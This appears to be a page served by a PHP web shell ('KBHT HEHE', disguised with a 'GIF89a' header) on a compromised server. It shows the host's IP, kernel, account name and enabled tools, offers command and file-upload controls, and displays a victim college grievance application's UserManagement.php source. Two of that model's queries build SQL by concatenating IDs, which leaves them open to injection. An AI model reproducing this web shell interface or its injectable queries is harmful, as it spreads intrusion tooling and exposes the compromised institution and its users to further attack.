GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.142.171.100
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../jobs/../grievance/application/models/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../jobs/../grievance/application/models/UserManagement.php
<?php

/**
 * Mode Class For Handling All DB Operated Related To Users
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class UserManagement extends CI_Model {

    function __construct() {
        parent::__construct();
        $this->load->database();
    }

    function getTotalNonDeletedStudentsOfInstitute($clg_id) {
        $this->db->select("count(*) totalStudents");
        $this->db->from('college_admins_and_users');
        $this->db->where('clg_id', $clg_id);
        $this->db->where('cau_delete_status', 'F');
        $this->db->where('cau_user_type_flag', 'S');
        $this->db->where('cau_user_role_flag', 'NA');
        return $this->db->get();
    }

    function getTotalNonDeletedParentsOfInstitute($clg_id) {
        $this->db->select("count(*) totalParents");
        $this->db->from('college_admins_and_users');
        $this->db->where('clg_id', $clg_id);
        $this->db->where('cau_delete_status', 'F');
        $this->db->where('cau_user_type_flag', 'P');
        $this->db->where('cau_user_role_flag', 'NA');
        return $this->db->get();
    }

    function getTotalNonDeletedFacultiesOfInstitute($clg_id) {
        $this->db->select("count(*) totalFaculties");
        $this->db->from('college_admins_and_users');
        $this->db->where('clg_id', $clg_id);
        $this->db->where('cau_delete_status', 'F');
        $this->db->where('cau_user_type_flag', 'F');
        $this->db->where('cau_user_role_flag', 'NA');
        return $this->db->get();
    }

    function getTotalNonDeletedNonTeachingStaffOfInstitute($clg_id) {
        $this->db->select("count(*) totalNonTeachingStaff");
        $this->db->from('college_admins_and_users');
        $this->db->where('clg_id', $clg_id);
        $this->db->where('cau_delete_status', 'F');
        $this->db->where('cau_user_type_flag', 'N');
        $this->db->where('cau_user_role_flag', 'NA');
        return $this->db->get();
    }

    function getTotalNonDeletedGCellMembersOfInstitute($clg_id) {
        $this->db->select("count(*) totalGCellMembers");
        $this->db->from('college_admins_and_users');
        $this->db->where('clg_id', $clg_id);
        $this->db->where('cau_delete_status', 'F');
        $this->db->where('cau_user_type_flag', 'NA');
        $this->db->where('cau_user_role_flag', 'GCM');
        return $this->db->get();
    }

    function getTotalNonDeletedMgmtMembersOfInstitute($clg_id) {
        $this->db->select("count(*) totalMgmtMembers");
        $this->db->from('college_admins_and_users');
        $this->db->where('clg_id', $clg_id);
        $this->db->where('cau_delete_status', 'F');
        $this->db->where('cau_user_type_flag', 'NA');
        $this->db->where('cau_user_role_flag', 'MGMT');
        return $this->db->get();
    }

    function getNonDeletedUsersOfInstitute($clg_id, $userType = '', $userRole = '') {
        $this->db->select('*');
        $this->db->from('college_admins_and_users CAU');
        if ($userType != '' && $userRole != '') {
            $this->db->where('CAU.cau_user_type_flag', $userType);
            $this->db->where('CAU.cau_user_role_flag', $userRole);
        } else if ($userType != '' && $userRole == '') {
            $this->db->where('CAU.cau_user_type_flag', $userType);
        } else if ($userType == '' && $userRole != '') {
            $this->db->where('CAU.cau_user_role_flag', $userRole);
        } else {
            $this->db->where("CAU.cau_user_role_flag NOT IN ('CA')");
        }
        $this->db->where("CAU.clg_id", $clg_id);
        $this->db->order_by('CAU.cau_signup_on desc');
        return $this->db->get();
    }
    
    function getNonDeletedGCellAndMgmntMembers($clg_id) {
        $this->db->select('*');
        $this->db->from('college_admins_and_users CAU');
        $this->db->where('CAU.cau_user_type_flag', 'NA');
        $this->db->where("CAU.cau_user_role_flag IN ('GCM','MGMT')");
        $this->db->where("CAU.clg_id", $clg_id);
        $this->db->order_by('CAU.cau_signup_on desc');
        return $this->db->get();
    }

    function getUserInfoById($cau_id) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_id', $cau_id);
        return $this->db->get();
    }

    function getUserInfoByMobileNumber($userMobile) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_mobile', $userMobile);
        return $this->db->get();
    }

    function getUserInfoByEmail($userEmail) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_email', $userEmail);
        return $this->db->get();
    }
    
    function getUserInfoByAdmsnEmpNo($userAdmsnEmpNo) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_adm_reg_roll_no', $userAdmsnEmpNo);
        return $this->db->get();
    }

    function createNewUser(array $newUserInfo) {
        $this->db->insert('college_admins_and_users', $newUserInfo);
        return $this->db->insert_id();
    }

    function updateUserInfo(array $userUpdatedInfo) {
        $this->db->where('cau_id', $userUpdatedInfo['cau_id']);
        return $this->db->update('college_admins_and_users', $userUpdatedInfo);
    }

    function isEmailSafeUpdate($cau_id, $requestedEmail) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_email', $requestedEmail);
        $this->db->where('cau_id != ' . $cau_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isMobileSafeUpdate($cau_id, $requestedMobile) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_mobile', $requestedMobile);
        $this->db->where('cau_id != ' . $cau_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function getOnlyUsersFullInfoBy($userId) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users CAU');
        $this->db->where('CAU.cau_id', $userId);
        $this->db->where('CAU.cau_user_role_flag', 'NA');
        $this->db->where("CAU.cau_user_type_flag IN ('S','P','N','F','NA')");
        return $this->db->get();
    }

    function getOnlyGCellMgmtMembersFullInfoBy($userId) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users CAU');
        $this->db->where('CAU.cau_id', $userId);
        $this->db->where("CAU.cau_user_role_flag IN('GCM','MGMT')");
        $this->db->where("CAU.cau_user_type_flag", "NA");
        return $this->db->get();
    }
    
    function getAllotedMembersInfoByGrievanceCategory($gcm_id){
        $sql = "SELECT * FROM college_admins_and_users CAAU WHERE CAAU.cau_id = "
                . "(SELECT GMA.cau_id FROM gcell_member_allot GMA WHERE GMA.gcm_id = ".$gcm_id.") and CAAU.cau_delete_status = 'F'";
        return $this->db->query($sql);
    }

}

KBHT - 2023